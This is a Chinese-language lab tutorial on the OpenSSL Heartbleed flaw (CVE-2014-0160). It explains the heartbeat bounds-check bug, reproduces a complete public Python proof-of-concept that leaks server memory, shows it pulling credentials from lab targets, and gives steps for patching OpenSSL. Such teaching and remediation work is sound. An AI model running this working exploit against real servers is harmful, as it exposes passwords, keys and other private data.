Heartbleed漏洞简介
Heartbleed漏洞是openssl的漏洞,这个漏洞(CVE-2014-0160)的产生是由于没有在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存中,这样一来受害者的内存内容就会以每次64K的速度进行泄露。
心跳功能介绍
正常情况下要使SSL发挥作用,需要与服务器进行通信,所以它会发送一个“heartbeat”(心跳)包,通过包内的特定信号,进行判断服务器是否存活,服务器就会向计算机返回该信号,让服务器确保安全通信。而且计算机和服务器之间会定期发送hearbeat以确定用户和服务器没有脱机。
漏洞原理
该漏洞主要问题出在heartbeat心跳检测的扩展中,在源码d1_both.c中,找到如下代码
#ifndef OPENSSL_NO_HEARTBEATS
int dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16;
指针p指向一条SSLv3结构体中的数据,结构体SSL3_RECORD的定义如下:
代码段1
typedef struct ssl3_record_st
{
int type;
unsigned int length;
unsigned int off;
unsigned char *data;
unsigned char *input;
unsigned char *comp;
unsigned long epoch;
unsigned char seq_num[8];
} SSL3_RECORD;
其中type为心跳包的类型,length为数据长度,data为数据正文
代码段2
hbtype = *p++;
n2s(p, payload);
pl = p;
首先获取type的心跳包的类型,类型有两种TLS1_HB_REQUEST和TLS1_HB_RESPONSE,然后使用宏n2s从指针p指向的数组中取出前两个字节,并把它们存入变量payload中,最后将变量pl指向由访问者提供的心跳包数据。
代码段3
if (hbtype == TLS1_REQUEST)
{
unsigned char *buffer, *bp;
int r;
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
.....
.....
}
该代码可以分配一段由访问者指定大小的内存区域,这段空间最大为(1 + 2 + 65535 + 16)个字节,bp用来访问新分配的内存区域。
代码段4
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
其中宏s2n与宏n2s干的事情刚好相反:
s2n读入一个16 bit长的值,然后将它存成双字节值,所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序将pl以payload为大小的长度,复制到bp中。
漏洞主要因为用户可控制变量payload和pl。该变量直接影响到了memcpy函数,导致如果用户并没有在心跳包中给足够多的数据,比如pl指向的数据只有一个字节,memcpy会将这条SSLv3后面的数据以payload为长度,复制出来(无论是什么数据)。
漏洞利用
利用脚本
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
执行结果
执行一下利用脚本
利用脚本查看脚本利用方法,看到提示,脚本名称后接靶机地址,然后指定靶机端口即可,由于64Kb内存信息较大,我们使用重定向功能将执行结果保存到txt当中,执行代码如下
python ssltest.py 1.1.1.1 -p 443 > test.txt
访问靶机地址
https://10.1.1.136 进行登陆,如下图
靶机使用的是合天网安实验室提供的环境
执行利用脚本
执行脚本获取到内存的结果如下
内存中的数据得到用户名密码,真实环境可能会获取到更多的敏感信息。
漏洞修复
这里使用的是docker搭建的靶机,靶机GitHub地址为
https://github.com/Medicean/VulApps
使用命令运行靶机
拉取镜像
docker pull medicean/vulapps:o_openssl_heartbleed
启动环境
docker run -d -p 443:443 medicean/vulapps:o_openssl_heartbleed
查看docker运行情况
docker container ls
漏洞环境
访问靶机地址
https://10.10.10.128
运行漏洞利用脚本测试,查看使用方法
脚本运行参数使用命令进行测试
python opensslpoc.py -d 10.10.10.128 -p 443 > 1.txt
指定地址和端口号,将抓取的内存信息重定向到1.txt中
内存信息
证明存在漏洞
我们尝试修复漏洞
使用命令进入docker靶机命令行
docker container exec -it agitated_agnesi /bin/bash
进入靶场shell环境
查看openssl版本
查看版本下载新版本openssl安装文件
wget https://www.openssl.org/source/openssl-x.x.x.tar.gz
下载新版openssl
解压安装包
tar zxvf openssl-x.x.x.tar.gz
执行命令
cd openssl-x.x.x
./config
make
make install
安装成功之后
执行以下命令
mv /usr/bin/openssl /usr/bin/openssl.bak
ln -s /usr/local/bin/openssl /usr/bin/openssl
ln -s /usr/local/include/openssl /usr/include/openssl
echo "/usr/local/lib" >> /etc/ld.so.conf
创建新的软链接
测试
openssl version
运行报错
出现上图提示,执行如下命令
cp /usr/local/lib/libssl.so.1.1 /usr/lib/
cp /usr/local/lib/libcrypto.so.1.1 /usr/lib/
拷贝文件
执行命令测试
openssl version
查看版本
更新成功
如果验证还是存在漏洞,需要更新一下libssl
这里使用apt进行更新
apt-get install libssl-dev
重启Apache服务
/etc/init.d/apache2 restart
重启服务
验证修复完成
修复验证
网友评论